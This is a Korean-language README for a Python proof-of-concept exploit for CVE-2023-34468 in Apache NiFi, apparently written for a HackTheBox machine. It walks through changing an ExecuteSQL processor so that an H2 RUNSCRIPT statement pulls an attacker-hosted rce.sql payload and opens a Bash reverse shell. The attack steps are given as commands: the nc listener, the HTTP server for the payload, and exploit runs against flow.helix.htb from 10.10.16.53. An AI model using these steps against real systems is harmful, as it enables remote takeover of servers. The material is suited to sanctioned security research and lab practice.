
CVE-2023-34468 Apache NiFi ExecuteSQL H2 RUNSCRIPT RCE PoC
편집 가능한 Apache NiFi ExecuteSQL 프로세서를 악용하여 H2 RUNSCRIPT 페이로드로 Bash 리버스 셸을 통한 원격 명령 실행을 트리거하는 간단한 Python PoC입니다.
승인된 테스트 및 연구 목적으로만 사용하십시오. 소유하지 않았거나 테스트에 대한 명시적 허가를 받지 않은 시스템에는 사용하지 마십시오.
ExecuteSQL processor update -> H2 RUNSCRIPT fetch -> Bash reverse shell -> processor restore
--processor-id를 수동으로 허용합니다.rce.sql 페이로드를 작성합니다.nc 리스너와 HTTP 서버를 시작하도록 안내합니다.RUNSCRIPT를 통해 rce.sql을 가져오도록 프로세서 쿼리를 업데이트합니다.



git clone https://github.com/ozcanpng/CVE-2023-34468.git
cd CVE-2023-34468
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
터미널 1:
rlwrap nc -lvnp 4444
터미널 2, 이 저장소 디렉터리에서:
python3 -m http.server 8000
터미널 3:
python3 CVE-2023-34468.py --url http://flow.helix.htb --lhost 10.10.16.53 --lport 4444
수동 프로세서 선택:
python3 CVE-2023-34468.py --url http://flow.helix.htb --processor-id <UUID> --lhost 10.10.16.53 --lport 4444
| 제품 | 영향을 받는 버전 | 필요한 접근 권한 | 영향 |
|---|---|---|---|
| Apache NiFi | CVE-2023-34468 — 편집 가능한 ExecuteSQL/H2 동작을 사용하는 영향받는 배포 | API를 통해 대상 NiFi 프로세서에 도달 및 수정 가능 | 원격 명령 실행 |
rce.sql 파일은 git에서 무시되며, 저장소 디렉터리에서 python3 -m http.server를 통해 서빙되어야 합니다.--processor-id로 프로세서 UUID를 수동으로 전달하십시오.ozcanpng — github.com/ozcanpng — ozcanpng.dev